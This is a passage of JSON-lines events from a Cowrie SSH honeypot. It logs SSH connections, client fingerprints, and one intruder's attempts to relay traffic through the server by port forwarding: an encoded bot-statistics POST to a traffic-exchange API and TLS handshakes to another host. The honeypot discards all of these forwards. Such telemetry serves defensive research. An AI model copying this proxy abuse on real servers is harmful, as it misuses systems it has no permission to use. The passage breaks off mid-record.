{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1;  G7-L11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TzZNJF4%2FazdiWisqelpFfQ%3D%3DgZjxPNyLsGmM64dq9BFCkkQytoKgmEeIiAUX5ghyAjq9NUNzDPa99Fyduz1ABybGLSLw1O89Ghbp4EDEUmSoH9AxlUFgWbL3ekoy6plkwlxTwahL%2FGu9BGZ5qavvsQQam1ziQohXsluZOmFK1BgYBgdp348aP2V6KM4RftIsDu967lYKDuWv5fmuJYmB0uQq2XWswAbbyBYij3aT0%2FTc%2BrW1%2BgNZ8K3oV93rE8Z7YdOcVp4lUX6xwd1E95TJlPXswHl%2FIyxGuSeitkhtGVqFodz2xBxPU6gHIhmhWFZN8B%2FH0EhI9QeippWZNUaMl8lt%2FV9%2BCW3sst6orCmb3jYtPg1GY1aToreeub0Fn0mP8GpZvh6dZS56BSp6cAnjU0u7rkODtmNXpCqWmagmXiCaL4D8NdulkF9UCvIpO%2BPx9R9elgSVew6Z7xBXFkStyghCGpgpqLRL%2FsH%2FF7E7UJuV7PrPg1iGbJITS%2Fg0K5LweUMmPvlEaN6XLlJ9QqQkSLAAifQo3gcnaznkZ5fa%2F1QpzvP2hB3JO6Bdgd%2BoGTMqvXhm7PW9U9x5vfcUmftBkYOlKOd%2BuJi1U9Yuj8vAvD7n08GuJQiQLxPvQk%2F1uDdIE5%2FRlLaFso0bdREqES65pKIzrKurg1Tf8KvSWhu9rqkxkUJC6I%2BMMbbk2lyDzarFUgUgK9uRaXP6TG3qdJWvScbGiY%2FMjwsdQIr9O3zZ4wXJrBDkz6GSscAgMROxSdvudkyxqfEgqzJNiazg3Nb%2Be7KNFvF4hGQF%2FLu4DXV8rOiqq%2BC6eH7frHPsgr6K1koP0J6BE5lsUVctl9JPD%2FN6wfMpqmEJpOg2Ami0hZLaUP6iTD9KJ2NwH8FcFmG4l3cTwwIcIsmDQhDVG2I9X6ZAK2ZiMf%2FJIEu7wBDp87oRrK7pdTa2itWCPY3gq2SnMlPDGADJvdTelRzMP1Maga1g9qpCo%2Fc95%2BHE1zHDJUd4NsonX0STacmHmSnFBwEFWurp2q3Mb3MZwzhTa%2BvrvVoO77bGl6VD966YxwSKNtQYZcvIJUsF%2F7fcZ7cmcWfFrbMkJXgKzL06rJ5rr1uR9feqhrf8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1;  G7-L11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TzZNJF4%2FazdiWisqelpFfQ%3D%3DgZjxPNyLsGmM64dq9BFCkkQytoKgmEeIiAUX5ghyAjq9NUNzDPa99Fyduz1ABybGLSLw1O89Ghbp4EDEUmSoH9AxlUFgWbL3ekoy6plkwlxTwahL%2FGu9BGZ5qavvsQQam1ziQohXsluZOmFK1BgYBgdp348aP2V6KM4RftIsDu967lYKDuWv5fmuJYmB0uQq2XWswAbbyBYij3aT0%2FTc%2BrW1%2BgNZ8K3oV93rE8Z7YdOcVp4lUX6xwd1E95TJlPXswHl%2FIyxGuSeitkhtGVqFodz2xBxPU6gHIhmhWFZN8B%2FH0EhI9QeippWZNUaMl8lt%2FV9%2BCW3sst6orCmb3jYtPg1GY1aToreeub0Fn0mP8GpZvh6dZS56BSp6cAnjU0u7rkODtmNXpCqWmagmXiCaL4D8NdulkF9UCvIpO%2BPx9R9elgSVew6Z7xBXFkStyghCGpgpqLRL%2FsH%2FF7E7UJuV7PrPg1iGbJITS%2Fg0K5LweUMmPvlEaN6XLlJ9QqQkSLAAifQo3gcnaznkZ5fa%2F1QpzvP2hB3JO6Bdgd%2BoGTMqvXhm7PW9U9x5vfcUmftBkYOlKOd%2BuJi1U9Yuj8vAvD7n08GuJQiQLxPvQk%2F1uDdIE5%2FRlLaFso0bdREqES65pKIzrKurg1Tf8KvSWhu9rqkxkUJC6I%2BMMbbk2lyDzarFUgUgK9uRaXP6TG3qdJWvScbGiY%2FMjwsdQIr9O3zZ4wXJrBDkz6GSscAgMROxSdvudkyxqfEgqzJNiazg3Nb%2Be7KNFvF4hGQF%2FLu4DXV8rOiqq%2BC6eH7frHPsgr6K1koP0J6BE5lsUVctl9JPD%2FN6wfMpqmEJpOg2Ami0hZLaUP6iTD9KJ2NwH8FcFmG4l3cTwwIcIsmDQhDVG2I9X6ZAK2ZiMf%2FJIEu7wBDp87oRrK7pdTa2itWCPY3gq2SnMlPDGADJvdTelRzMP1Maga1g9qpCo%2Fc95%2BHE1zHDJUd4NsonX0STacmHmSnFBwEFWurp2q3Mb3MZwzhTa%2BvrvVoO77bGl6VD966YxwSKNtQYZcvIJUsF%2F7fcZ7cmcWfFrbMkJXgKzL06rJ5rr1uR9feqhrf8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:23.347259Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":29036,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa0e00b4b39","protocol":"ssh","message":"New connection: 91.92.40.36:29036 (159.203.135.109:22) [session: 8aa0e00b4b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:24.277523Z"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:24.564019Z","src_ip":"91.92.40.36","session":"31a41dc5591e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":38284,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bbafb430149","protocol":"ssh","message":"New connection: 89.223.69.22:38284 (10.17.0.5:22) [session: 4bbafb430149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:24.796669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.477683Z","src_ip":"91.92.40.36","session":"8aa0e00b4b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.484738Z","src_ip":"91.92.40.36","session":"8aa0e00b4b39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.907422Z","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.941555Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xf3\\xc48-\\x92E\\xc4\\xa3\\x85\\xe2\\x154$1\\xae8\\xdf\\xd8)\\xa0\\xbf\\xba\\xcf\\x18\\xd9\\xcc\\xff\\xdedau \\xfc\\x11\\x02\\xeeb\\xaaw\\xb1\\x01\\xbfT\\x81\\x8d\\xc7\\x02S\\xa5\\x9bA/+,\\xbeKp\\xdb\\xc2R\\xfd\\xfc\\xcf\\xc0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xf5\\x93D\\xb3\\xe1\\xe4M\\xdb\\xf53\\xf5_\\xe9B\\x955\\xee\\x19\\xb6\\x8aX\\x80\\xc0R\\xe4m\\xd3\\x89`\\x93<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\xf3\\xc48-\\x92E\\xc4\\xa3\\x85\\xe2\\x154$1\\xae8\\xdf\\xd8)\\xa0\\xbf\\xba\\xcf\\x18\\xd9\\xcc\\xff\\xdedau \\xfc\\x11\\x02\\xeeb\\xaaw\\xb1\\x01\\xbfT\\x81\\x8d\\xc7\\x02S\\xa5\\x9bA/+,\\xbeKp\\xdb\\xc2R\\xfd\\xfc\\xcf\\xc0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xf5\\x93D\\xb3\\xe1\\xe4M\\xdb\\xf53\\xf5_\\xe9B\\x955\\xee\\x19\\xb6\\x8aX\\x80\\xc0R\\xe4m\\xd3\\x89`\\x93<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.946335Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:25.984342Z","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:26.019934Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\"\\x08\\xc7\\x0b\\xef\\x89;\\x08\\x13\\x9aa\\x02\\xf6R\\x88\\xdb\\x1c\\xd6v\\xa9\\x8b\\xcf\\xe2$;K\\xf8\\\\\\xec\\xe4\\x1d \\xcb>\\\\hS\\x88\\xd2\\xc6\\xc5w\\xf5\\x0f}\\x1c8U\\xc2E\\x01\\xdd%\\x7fP\\xb87\\xef\\x97\\x85l\\xebt\\xe6\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\x9ae\\xd3\\xceh\\xdf\\xa8\\xb0\\xd6v\\xe1\\x1e\\xa4\\x92\\x19\\xcf,\\xd6\\x96\\x97Dn\\x83\\xd9c\\x17F\\x8c\\xa5\\x82l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\"\\x08\\xc7\\x0b\\xef\\x89;\\x08\\x13\\x9aa\\x02\\xf6R\\x88\\xdb\\x1c\\xd6v\\xa9\\x8b\\xcf\\xe2$;K\\xf8\\\\\\xec\\xe4\\x1d \\xcb>\\\\hS\\x88\\xd2\\xc6\\xc5w\\xf5\\x0f}\\x1c8U\\xc2E\\x01\\xdd%\\x7fP\\xb87\\xef\\x97\\x85l\\xebt\\xe6\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x83\\x9ae\\xd3\\xceh\\xdf\\xa8\\xb0\\xd6v\\xe1\\x1e\\xa4\\x92\\x19\\xcf,\\xd6\\x96\\x97Dn\\x83\\xd9c\\x17F\\x8c\\xa5\\x82l\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:26.059709Z","src_ip":"173.208.192.194","session":"8768c9b84afb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47192,"dst_ip":"159.203.135.109","dst_port":22,"session":"12eccdfa5d43","protocol":"ssh","message":"New connection: 27.71.230.31:47192 (159.203.135.109:22) [session: 12eccdfa5d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:26.933630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:26.967968Z","src_ip":"27.71.230.31","session":"12eccdfa5d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 